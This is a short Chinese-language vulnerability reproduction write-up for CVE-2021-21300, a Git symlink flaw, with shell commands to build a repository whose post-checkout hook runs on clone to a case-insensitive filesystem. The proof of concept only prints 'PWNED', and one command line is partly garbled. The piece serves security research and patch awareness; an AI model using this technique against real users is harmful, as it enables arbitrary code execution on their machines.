Git 是一个开源的分布式版本控制系统。是 Linus Torvalds 开发的一个开放源码的版本控制软件,采用了分布式版本库的方式,可以有效、高速地处理从很小到非常大的项目。
编号:CVE-2021-21300
受影响版本的Git仓库中如果包含符号链接文件,可能会导致在不区分大小写的文件系统克隆时执行刚刚切换分支的脚本。攻击者利用此漏洞可以执行任意代码。
1、Windows安装Git-2.17.1-64-bit
https://www.npackd.org/p/git64/2.17.1.2
2、在ubuntu构建恶意仓库并上传到github(执行的命令在第三行命令里)
git init delayed-checkout
cd delayed-checkout
lfs diff=lfs merge=lfs">.gitattributes && mkdir A && printf '#!/bin/shnnecho PWNED >&2n'>A/post-checkout && chmod +x A/post-checkout && >A/a && >A/b && git add -A && rm -rf A && ln -s .git/hooks a && git add a && git commit -m initial =
git branch -M main
git remote add origin [自己的仓库地址]
git push -u origin main
查看github仓库
校验各文件内容是否正确
如下显示:gitattributes
A/post-checkout(存储在Git LFS中)
攻击测试
在win10提供的powershell(管理员)中执行命令如下:
git clone -c core.symlinks=true [自己的仓库地址]
clone后出现 PWNED 即为远程命令执行成功
目前 Git 官方已发布更新修复了该漏洞,安全版本下载链接如下:
https://mirrors.edge.kernel.org/pub/software/scm/git/
本文始发于微信公众号(Timeline Sec):CVE-2021-21300:Git符号链接代码执行漏洞复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论